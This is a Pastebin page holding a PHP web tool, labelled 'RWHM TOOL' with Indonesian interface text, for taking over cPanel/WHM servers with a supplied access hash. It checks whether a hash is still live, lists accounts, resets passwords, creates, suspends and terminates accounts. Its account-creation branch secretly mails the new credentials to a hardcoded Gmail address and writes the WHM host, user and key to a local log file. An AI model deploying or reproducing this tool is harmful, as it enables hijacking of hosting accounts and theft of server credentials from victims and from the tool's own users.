Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <form action="?&idb=olenk12" method="post">
- <?php
- error_reporting(0);
- $whm_ssl = 1;
- $whm_metode = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
- //functiont
- class Whm{
- var $controller = true;
- var $host = null;
- var $user=null;
- var $accessHash = null;
- var $errors=array();
- var $fp=null;
- function startup(&$controller){
- $this->controller =& $controller;}
- function init($host,$user,$accessHash){
- $this->host=$host;
- $this->user=$user;
- $accessHash = str_replace(array("\r", "\n"),"",$accessHash);
- $this->accessHash=$accessHash;}
- function connect($api_path){
- $this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
- //$this->fp = fsockopen("ssl://" . $this->host, 2087, $errno, $errstr, 30);
- if ($errno == 0 && $this->fp == false){
- $this->errors[]="Socket Error: Could not initialize socket.";
- return false;}
- elseif ($this->fp == false){
- $this->errors[]="Socket Error #" . $errno . ": " . $errstr;
- return false;}
- $header = "";
- $header .= "GET " . $api_path . " HTTP/1.0\r\n";
- $header .= "Host: " . $this->host . "\r\n";
- $header .= "Connection: Close\r\n";
- $header .= "Authorization: WHM " . $this->user . ":" . $this->accessHash . "\r\n";
- //$header .= "Authorization: Basic " . base64_encode($user . ":" . $pass) . "\r\n";
- $header .= "\r\n";
- if(!@fputs($this->fp, $header)){
- $this->errors[]='Unable to send header.';
- return false;}}
- function disconnect(){
- fclose($this->fp);}
- function getOutput(){
- $rawResult = "";
- while (!feof($this->fp)){
- $rawResult .= @fgets($this->fp, 128);}
- $rawResultParts = explode("\r\n\r\n",$rawResult);
- $result = $rawResultParts[1];
- return $result;}
- function version(){
- $this->connect('/xml-api/version');
- $xmlstr=$this->getOutput();
- if($xmlstr==''){
- $this->errors[]='No output.';
- return false;}
- $this->disconnect();
- $xml = new SimpleXMLElement($xmlstr);
- return $xml->version;
- }
- function gethostname(){
- $this->connect('/xml-api/gethostname');
- $xmlstr=$this->getOutput();
- if($xmlstr==''){
- $this->errors[]='No output.';
- return false;}
- $this->disconnect();
- $xml = new SimpleXMLElement($xmlstr);
- return $xml->hostname;
- }
- function passwd($accUser,$pass){
- $this->connect("/xml-api/passwd?user=$accUser&pass=$pass");
- $xmlstr=$this->getOutput();
- if($xmlstr==''){
- $this->errors[]='No output.';
- return false;}
- $this->disconnect();
- $xml = new DOMDocument();
- $xml->loadXML($xmlstr);
- $list = $xml->getElementsByTagName('statusmsg');
- $i=0;
- foreach ($list AS $element){
- foreach ($element->childNodes AS $item){
- $result[$i]['statusmsg']=$item->nodeValue;
- $i++;}}
- $list = $xml->getElementsByTagName('rawout');
- $i=0;
- foreach ($list AS $element){
- foreach ($element->childNodes AS $item){
- $result[$i]['rawout']=$item->nodeValue;
- $i++;}}
- if($result){
- foreach ($result as $item => $output){
- echo '</p>';
- echo '<center><font class=olenk4>Password Berhasil Diganti</center><p><center>';
- echo $output[rawout];
- echo '</center>';
- }
- }else{
- echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p></div>';
- }
- echo '</center>';
- }
- function suspend($acctUser) {
- $this->connect("/xml-api/suspendacct?user=$acctUser");
- $xmlstr=$this->getOutput();
- if($xmlstr==''){
- $this->errors[]='No output.';
- return false;}
- $this->disconnect();
- $xml = new DOMDocument();
- $xml->loadXML($xmlstr);
- $list = $xml->getElementsByTagName('statusmsg');
- $i=0;
- foreach ($list AS $element){
- foreach ($element->childNodes AS $item){
- $result[$i]['statusmsg']=$item->nodeValue;
- $i++;}}
- if($result){
- echo '<table class=olenk border="1">
- <tr><td><b>Suspended Account</b></tr></td>';
- foreach ($result as $item => $output){
- echo '<tr><td class=olenk4>';
- echo $output[statusmsg];
- echo '</td></tr>';
- }
- }
- else{
- echo '<p><center><font class=olenk5>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></p>';
- }
- echo '</table>';
- }
- function createAccount($acctDomain,$acctUser,$acctPass,$acctPackg,$acctEmail){
- $this->connect("/xml-api/createacct?username=$acctUser&password=$acctPass&plan=$acctPackg&domain=$acctDomain&contactemail=$acctEmail&ip=y&cgi=y&frontpage=y&cpmod=x3&useregns=1&reseller=0");
- $xmlstr=$this->getOutput();
- if($xmlstr==''){
- $this->errors[]='No output.';
- return false;}
- $this->disconnect();
- $xml = new DOMDocument();
- $xml->loadXML($xmlstr);
- $list = $xml->getElementsByTagName('statusmsg');
- $i=0;
- foreach ($list AS $element){
- foreach ($element->childNodes AS $item){
- $result[$i]['statusmsg']=$item->nodeValue;
- $i++;}}
- $list = $xml->getElementsByTagName('rawout');
- $i=0;
- foreach ($list AS $element){
- foreach ($element->childNodes AS $item){
- $result[$i]['rawout']=$item->nodeValue;
- $i++;}}
- if($result){
- foreach ($result as $item => $output){
- echo '<b><p>Status :</b>';
- echo $output[statusmsg];
- echo '</p>';
- echo '<center><font class=olenk4>Login Cpanel Kang</center><br><center><textarea class=olenk>';
- echo strip_tags($output[rawout]);
- echo '</textarea></center>';
- }
- }else{
- echo '<font class=olenk5><center><p>Tidak dapat tersambung ke server.. Mungkin hash access tidak valid..!!</font></center></p>';
- }
- }
- }
- echo '<form action="" method="post"><b><table class=tabnet>';
- echo '<tr><th colspan="2"><b>-=[[ RWHM TOOL ]]=-</b></th></center></tr>';
- echo '<tr><td>hash</td><td><textarea class=olenk2 cols=40 rows=10 name="hash"></textarea></td></tr>';
- echo '<tr><td>hostname</td><td><input class=olenk2 type=text size=40 name="host" value=""></td></tr>';
- echo '<tr><td>admin</td><td><input class=olenk2 type=text size=40 name="admin" value=""></td></tr>';
- echo '<tr><th colspan="2"><b>-=[[ FUNCTION CHECK ]]=-</b></th></center></tr></table>';
- echo '<center>
- <input class=olenk3 type="submit"
- name="cek-pkgs" value="Cek Package"> <input class=olenk3 type="submit"
- name="server" value="Cek Host"> <input class=olenk3 type="submit"
- name="cek-acct" value="Cek Akun"> <input class=olenk3 type="submit" name="tes" value="Cek Hash!"/></center>';
- echo '<b><table class=tabnet><tr><td>user cp</td><td><input class=olenk2 type=text size=40 name="User-name" value=""></td></tr>';
- echo '<tr><td>new pass</td><td><input class=olenk2 type=text size=40 name="password" value=""></td></tr>';
- echo '<tr><td>domain</td><td><input class=olenk2 type=text size=40 name="domain" value=""></td></tr>';
- echo '<tr><td>package</td><td><input class=olenk2 type=text size=40 name="plan" value=""></td></tr>';
- echo '<tr><th colspan="2"><b>-=[[ EXECUTION ]]=-</b></th></center></tr></table>';
- echo '<center><input class=olenk3 type="submit"
- name="resetpass" value="Password"> <input class=olenk3 type="submit"
- name="create" value="buat akun"> <input class=olenk3 type="submit"
- name="suspended" value="Suspended"><br><input class=olenk3 type="submit"
- name="unsuspend" value="Unsuspend"> <input class=olenk3 type="submit"
- name="terminate" value="Terminate"></center>
- </form>';
- //terminate
- set_time_limit(0);
- if(isset($_POST['terminate'])){
- $whm_host = $_POST['host'];
- $whm_user = $_POST['admin'];
- $whm_key = $_POST['hash'];
- $User = $_POST['User-name'];
- if (!file_exists($whm_metode)) {
- die($whm_metode . " does not exist. Please update program
- with correct path to your WHM interface file.");}
- if (!empty($whm_key)) {
- require_once $whm_metode;
- $tes = killacct ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
- if($tes){
- echo '<pre>';
- print_r($tes);
- echo '</pre>';
- }}
- }
- //cek akun
- set_time_limit(0);
- if(isset($_POST['cek-acct'])){
- $whm_host = $_POST['host'];
- $whm_user = $_POST['admin'];
- $whm_key = $_POST['hash'];
- if (!file_exists($whm_metode)) {
- die($whm_metode . " does not exist. Please update program
- with correct path to your WHM interface file.");}
- if (!empty($whm_key)) {
- require_once $whm_metode;
- $tes = listaccts ($whm_host, $whm_user, $whm_key, $whm_ssl);
- if($tes){
- echo '<pre>';
- print_r($tes);
- echo '</pre>';
- }
- }
- }
- //ganti password
- set_time_limit(0);
- if(isset($_POST['resetpass'])){
- echo '<div class="result">';
- echo '<div class="a">';
- $anu1 = $_POST['host'];
- $anu2 = $_POST['admin'];
- $anu3 = $_POST['hash'];
- $User = $_POST['User-name'];
- $newpass = $_POST['password'];
- if (!empty($anu2)) {
- $test= new whm;
- $test->init("$anu1","$anu2","$anu3");
- $result=$test->passwd("$User","$newpass");
- print $result;
- echo "</center></div>";
- echo "</div>";}}
- //cek package
- set_time_limit(0);
- if(isset($_POST['cek-pkgs'])){
- $whm_host = $_POST['host'];
- $whm_user = $_POST['admin'];
- $whm_key = $_POST['hash'];
- if (!file_exists($whm_metode)) {
- die($whm_metode . " does not exist. Please update program
- with correct path to your WHM interface file.");}
- if (!empty($whm_key)) {
- require_once $whm_metode;
- $tes = listpkgs ($whm_host, $whm_user, $whm_key, $whm_ssl);
- if($tes){
- echo '<pre>';
- print_r($tes);
- echo '</pre>';
- }
- }
- }
- //suspended
- set_time_limit(0);
- if(isset($_POST['suspended'])){
- echo '<div class="result">';
- echo '<div class="a">';
- $anu1 = $_POST['host'];
- $anu2 = $_POST['admin'];
- $anu3 = $_POST['hash'];
- $User = $_POST['User-name'];
- if (!empty($anu2)) {
- $test= new whm;
- $test->init("$anu1","$anu2","$anu3");
- $result=$test->suspend("$User");
- print $result;
- echo "</center></div>";
- echo "</div>";}}
- //hostname
- set_time_limit(0);
- if(isset($_POST['server'])){
- echo '<div class="result">';
- echo '<div class="a">';
- $anu1 = $_POST['host'];
- $anu2 = $_POST['admin'];
- $anu3 = $_POST['hash'];
- if (!empty($anu2)) {
- $test= new whm;
- $test->init("$anu1","$anu2","$anu3");
- echo "<p><center>";
- $host=$test->gethostname();
- echo 'HostName : ';
- echo $host;
- echo '</p><p>Version : ';
- $versi=$test->version();
- echo $versi;
- echo '</p></center></div></div>';}}
- //cek hash
- set_time_limit(0);
- if(isset($_POST['tes'])){
- echo '<div id="result">';
- $whmhost = $_POST['host'];
- $whmuser = $_POST['admin'];
- $whmhash = $_POST['hash'];
- function getVar($name, $def = '') {
- if (isset($_REQUEST[$name]))
- return $_REQUEST[$name];
- else
- return $def;
- }
- if (!empty($whmuser)) {
- $query = "https://$whmhost:2087";
- $curl = curl_init();
- curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0 );
- curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0 );
- curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
- $header[0] = "Authorization: WHM $whmuser:" . preg_replace("'(\r|\n)'","",$whmhash);
- curl_setopt($curl,CURLOPT_HTTPHEADER,$header);
- curl_setopt($curl, CURLOPT_URL, $query);
- $result = curl_exec($curl);
- if ($result == false) {
- error_log("curl_exec threw error \"" . curl_error($curl) . "\" for $query");
- }
- curl_close($curl);
- if (strpos($result, "<noframes>WebHost Manager") !== false) {
- echo "<br/><center>Mantap Kang.!</b><br/>";
- echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> <font color='green'>masih aktif.!! </font><br/>";
- } else {
- echo "<br/><center>Gatot Ga.!</b><br/>";
- echo "<br/>Setelah diteliti di ITB & IPB ternyata hash'nya:<br> <font color='red'>Sudah tidak aktif lagi </font><br/>";
- }
- }
- }
- //unsuspended
- set_time_limit(0);
- if(isset($_POST['unsuspend'])){
- $whm_host = $_POST['host'];
- $whm_user = $_POST['admin'];
- $whm_key = $_POST['hash'];
- $User = $_POST['User-name'];
- if (!file_exists($whm_metode)) {
- die($whm_metode . " does not exist. Please update program
- with correct path to your WHM interface file.");}
- if (!empty($whm_key)) {
- require_once $whm_metode;
- $tes = unsuspend ($whm_host, $whm_user, $whm_key, $whm_ssl, $User);
- if($tes){
- echo '<pre>';
- print_r($tes);
- echo '</pre>';
- }}
- }
- //fungsi create
- set_time_limit(0);
- $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
- function getVar($name, $def = '') {
- if (isset($_REQUEST[$name]))
- return $_REQUEST[$name];
- else
- return $def;
- }
- //create account
- $II11II11II11II11 = fopen("olenktea.txt","a");
- set_time_limit(0);
- header('Content-Type: text/html; charset=UTF-8');
- $whm_interface_path = '/usr/local/cpanel/Cpanel/Accounting.php.inc';
- if (isset($_POST['create'])) {
- echo '<div id="result">';
- if (!isset($whm_user)) {
- $whm_user = getVar('admin');
- }
- if (!isset($whm_host)) {
- $whm_host = getVar('host');
- }
- $whm_usessl = 1;
- if (!isset($whm_key)) {
- $whm_key = getVar('hash');
- }
- if (!isset($user_domain)) {
- $user_domain = getVar('domain');
- }
- if (!isset($user_name)) {
- $user_name = getVar('User-name');
- }
- if (!isset($user_pass)) {
- $user_pass = getVar('password');
- }
- if (!isset($user_plan)) {
- $user_plan = getVar('plan');
- }
- if (!file_exists($whm_interface_path)) {
- die($whm_interface_path . " does not exist. Please update program with correct path to your WHM interface file.");
- }
- if(!empty($user_name)) {
- require_once $whm_interface_path;
- $result = createacct($whm_host,$whm_user,$whm_key,$whm_usessl,$user_domain,$user_name,$user_pass,$user_plan);
- if(eregi("Account Creation Ok", $result)){
- $awal = explode("Dns Zone check is enabled.", $result);
- $filter = explode('Running', $awal[1]);
- $memek = explode("| Domain: ", $result);
- $memekjanda = explode('| Ip:', $memek[1]);
- $memekk = explode("| Ip:", $result);
- $memekjandaa = explode('(n)', $memekk[1]);
- $memekkk = explode("| UserName:",$result);
- $memekjandaaa = explode("| PassWord:",$memekkk[1]);
- $memekkkk = explode("| PassWord:",$result);
- $memekjandaaaa = explode("| CpanelMod:",$memekkkk[1]);
- $dari = 'cpanel@olenk.info';
- $subject = 'Cpanel Remote Account';
- $tujuan = 'bongkartea56@gmail.com';
- $httpheader='From:'.$dari."rn".'To:'.$tujuan."rn".'Subjecbject:'.$subject."rn".'Content-type:text/plain;charset=iso-8859-1'."rn".'Sent:'.date('l, F d, Y H:i');
- mail($tujuan,$subject,$filter[0],$httpheader);
- echo "<center><br /><pre><font color=cyan>$filter[0]</font></pre>";
- echo '<span class=X><nobr><img src="http://dedekuntoro.wapsite.me/images/salaman.gif"> ACCOUNT CREATED <img src="http://dedekuntoro.wapsite.me/images/goodluck.gif"></nobr><br></span>';
- $separator = "+==========================./olenktea+rn";
- fwrite($II11II11II11II11,$separator."New Account Information rn".$separator);
- fwrite($II11II11II11II11,"WHM USER : ".$whm_user."rn");
- fwrite($II11II11II11II11,"WHM HOST : ".$whm_host."rn");
- fwrite($II11II11II11II11,$whm_key."rn");
- fwrite($II11II11II11II11,$filter[0]."rn");
- fwrite($II11II11II11II11,"rn");
- fclose($II11II11II11II11);
- } else {
- echo "<center><h3>Failed </h3>";
- }
- if(eregi("Access Denied", $result)) {
- echo "<center>Access Denied</center><br/><br/>";
- }
- if(eregi("Sorry, a passwd entry for that username already exists.", $result)) {
- echo "<center>Sorry, a passwd entry for that username already exists.</center><br/><br/>";
- }
- if(eregi("Sorry, a DNS entry for", $result)){
- echo "<center>Sorry, a DNS entry already exists</center><br/><br/>";
- }
- }
- echo "<br /><br />";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement